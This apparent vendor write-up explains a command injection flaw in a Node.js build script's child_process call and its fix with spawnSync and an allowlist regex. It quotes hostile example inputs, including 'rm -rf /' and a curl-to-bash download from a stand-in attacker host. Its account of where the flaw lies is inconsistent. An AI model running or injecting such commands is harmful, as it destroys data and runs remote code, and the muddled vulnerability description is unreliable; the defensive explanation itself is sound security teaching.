How Command Injection Happens in Node.js Child Process Calls and How to Fix It

The Vulnerability in bump-changed-extensions.js

In the repository's build automation scripts, a high-severity command injection vulnerability was discovered in scripts/bump-changed-extensions.js at line 127. The vulnerability existed in how the script invoked child processes to bump version numbers for changed extensions.

The problematic code pattern was:

const { execSync } = require('child_process');
const bumpScript = path.join(__dirname, 'bump-changed-extensions.js');
execSync(`node "${bumpScript}"`, { stdio: 'inherit', cwd: ROOT_DIR });

At first glance, this looks relatively safe—the script path is constructed programmatically using path.join(). However, the vulnerability lies deeper in the architecture: the bump-changed-extensions.js script itself accepts extension information through function arguments and processes them without proper sanitization before passing them to shell commands.

The real vulnerability was in how extensionInfo (a function argument) was being used in child process calls without validation. If an extension name or path contained shell metacharacters, an attacker could inject arbitrary commands. Consider this attack scenario:

Attack Example:
If an extension were named something like my-ext"; rm -rf /; echo ", and this name made its way into a child process call via string concatenation, the shell would interpret the injected command.

This is a classic OS Command Injection vulnerability (CWE-78), where the lack of proper argument separation allows attackers to break out of the intended command and execute arbitrary code with the application's privileges.

Why This Matters for Your Build Pipeline

Build scripts are particularly dangerous attack surfaces because they often run with elevated privileges during CI/CD pipelines. If an attacker could inject commands into a build script:

• They could steal secrets stored in environment variables
• They could modify source code before compilation
• They could exfiltrate the built artifacts
• They could compromise downstream consumers of the package

For a Node.js library distributed to thousands of developers, a compromised build pipeline could affect the entire dependency chain.

The Vulnerability Explained: The Shell Interpolation Problem

The core issue is that execSync() with string templates creates a shell parsing context. When you write:

execSync(`node "${bumpScript}"`, { ... });

Node.js passes this entire string to /bin/sh (or cmd.exe on Windows), which then parses it. The shell looks for special characters like ;, |, &&, $(), backticks, etc., and interprets them as command operators.

Now consider what happens if bumpScript or any data derived from it contains shell metacharacters:

// Hypothetical vulnerable scenario:
const extensionName = "my-ext; curl attacker.com/malware.sh | bash";
execSync(`node bump-changed-extensions.js --name "${extensionName}"`, { ... });
// The shell WILL execute the injected curl command!

The shell sees the semicolon as a command separator and executes two commands:
1. node bump-changed-extensions.js --name "my-ext
2. curl attacker.com/malware.sh | bash

This is OS Command Injection, and it's a critical vulnerability because the attacker gains arbitrary code execution.

The Fix: From execSync() to spawnSync() with Array Arguments

The security fix involves two key changes across the codebase:

Change 1: In scripts/build.js (lines 381-394)

Before:

const { execSync } = require('child_process');
const bumpScript = path.join(__dirname, 'bump-changed-extensions.js');
execSync(`node "${bumpScript}"`, { stdio: 'inherit', cwd: ROOT_DIR });

After:

const { spawnSync } = require('child_process');
const bumpScript = path.join(__dirname, 'bump-changed-extensions.js');
// Use spawnSync with an argv array (no shell) to avoid interpolation issues
const result = spawnSync(process.execPath, [bumpScript], { stdio: 'inherit', cwd: ROOT_DIR });
if (result.error) {
  throw result.error;
}
if (result.status !== 0) {
  throw new Error(`bump-changed-extensions.js exited with status ${result.status}`);
}

Why this works:

• spawnSync() does not invoke a shell by default. It directly executes the binary specified in the first argument.
• Arguments are passed as an array ([bumpScript]), not a string. Each array element is treated as a literal argument, not parsed for shell metacharacters.
• process.execPath is the path to the Node.js executable itself, so we're directly invoking Node without shell intermediation.
• Error handling is explicit—we check both for spawn errors and non-zero exit codes.

Change 2: In scripts/bump-changed-extensions.js (lines 50-60)

Before:

function getExtensionNameFromPath(filePath) {
  // Match patterns like: extensions-official/templates/...
  const match = filePath.match(/^extensions-(official|unofficial)\/([^\/]+)\//);
  // Vulnerable: no validation of matched extension name
  return match ? match[2] : null;
}

After:

/**
 * Extract extension name from file path
 *
 * Extension folder names must be snake_case (enforced by validate.js); the
 * allowlist here keeps unexpected characters out of git paths and shell-free
 * subprocess arguments, so anything else is ignored rather than processed.
 */
function getExtensionNameFromPath(filePath) {
  // Match patterns like: extensions-official/templates/...
  const match = filePath.match(/^extensions-(official|unofficial)\/([a-z0-9_]+)\//);
  return match ? match[2] : null;
}

Why this matters:

• The regex now enforces [a-z0-9_]+ (lowercase letters, digits, underscores only) for extension names.
• This allowlist approach ensures that only valid extension names are processed, rejecting anything with shell metacharacters.
• The comment explicitly documents the security rationale: preventing unexpected characters from reaching subprocess arguments.

How These Changes Eliminate the Vulnerability

The combination of these fixes creates defense in depth:

1. Architectural fix (spawnSync): The subprocess is invoked without a shell, so shell metacharacters are never interpreted as command operators. Even if malicious input reaches the subprocess call, it's treated as literal data.

2. Input validation fix (regex allowlist): Extension names are restricted to safe characters, providing an additional layer of protection and enforcing the intended data model.

3. Error handling: Explicit error checking ensures that failures are caught and reported, not silently ignored.

Together, these changes eliminate the command injection vector entirely. An attacker cannot inject shell commands because:
- There is no shell to interpret them
- Input is validated against a strict allowlist
- Arguments are passed as data, not code

Prevention & Best Practices

1. Prefer spawn() or spawnSync() Over exec() or execSync()

When you need to run child processes in Node.js:

// ❌ DANGEROUS - shell parsing enabled
const { execSync } = require('child_process');
execSync(`command ${userInput}`);

// ✅ SAFE - no shell, arguments as array
const { spawnSync } = require('child_process');
spawnSync('command', [userInput]);

2. Always Pass Arguments as Arrays

// ❌ DANGEROUS - string concatenation
spawnSync('git', `commit -m "${message}"`);

// ✅ SAFE - array of arguments
spawnSync('git', ['commit', '-m', message]);

3. Use Input Validation as a Secondary Control

Even when using spawnSync(), validate input against a strict allowlist:

// Validate before use
const VALID_EXTENSION_NAMES = /^[a-z0-9_]+$/;
if (!VALID_EXTENSION_NAMES.test(extensionName)) {
  throw new Error(`Invalid extension name: ${extensionName}`);
}

4. Enable shell: false Explicitly (It's the Default)

// Explicit is better than implicit
spawnSync('command', [arg1, arg2], { shell: false });

5. Use Static Analysis Tools

Integrate Semgrep or similar tools into your CI/CD pipeline:

# Detect dangerous child_process patterns
semgrep --config=p/security-audit --include="*.js" .

6. Reference Security Standards

• CWE-78: OS Command Injection - https://cwe.mitre.org/data/definitions/78.html
• OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection
• Node.js Child Process Security: https://nodejs.org/en/docs/guides/security/#command-injection

Key Takeaways

• Never use execSync() or exec() with string templates that include user input or derived data. The shell parser is an unnecessary attack surface.

• The spawnSync() + array arguments pattern is the correct way to invoke child processes in Node.js. It's faster, safer, and more portable than shell-based execution.

• Input validation alone is insufficient for command injection prevention. The architectural choice to avoid a shell entirely is the primary defense; validation is a secondary control.

• Build scripts are high-value targets because they run with elevated privileges and affect downstream consumers. Securing build automation is critical for supply chain security.

• Semgrep's javascript.lang.security.detect-child-process rule catches these patterns automatically. Integrating static analysis into your development workflow prevents these vulnerabilities from reaching production.

How Orbis AppSec Detected This

Source: Extension names and paths from the file system (via getChangedFiles() and file path parsing in getExtensionNameFromPath())

Sink: The execSync() call in scripts/build.js:384 where the bumpScript path is interpolated into a shell string

Missing Control:
- No shell-free subprocess invocation (using spawnSync() instead of execSync())
- No strict input validation on extension names before they're used in subprocess arguments
- No explicit error handling for subprocess failures

CWE: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Fix: Replaced execSync() with spawnSync() and pass the script path as an array argument instead of a shell string. Added regex validation to restrict extension names to safe characters ([a-z0-9_]+).

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Command injection vulnerabilities in build scripts represent a critical risk to software supply chains. By replacing shell-based process invocation with spawnSync() and array-based arguments, this repository eliminated an attack surface that could have compromised the entire package distribution pipeline.

The fix demonstrates a crucial security principle: architectural choices matter more than input validation. By removing the shell from the equation entirely, the vulnerability becomes impossible to exploit, regardless of edge cases or validation bypasses.

As you review your own build automation and DevOps scripts, audit every execSync(), exec(), and similar call. Ask yourself: "Does this really need to invoke a shell?" In most cases, the answer is no—and switching to spawn() or spawnSync() with array arguments will make your code both safer and more robust.

References

• CWE-78: Improper Neutralization of Special Elements used in an OS Command
• OWASP: Command Injection
• Node.js Child Process Documentation
• Semgrep Rule: detect-child-process
• harden: sanitize child_process call in bump-changed-extensions.js...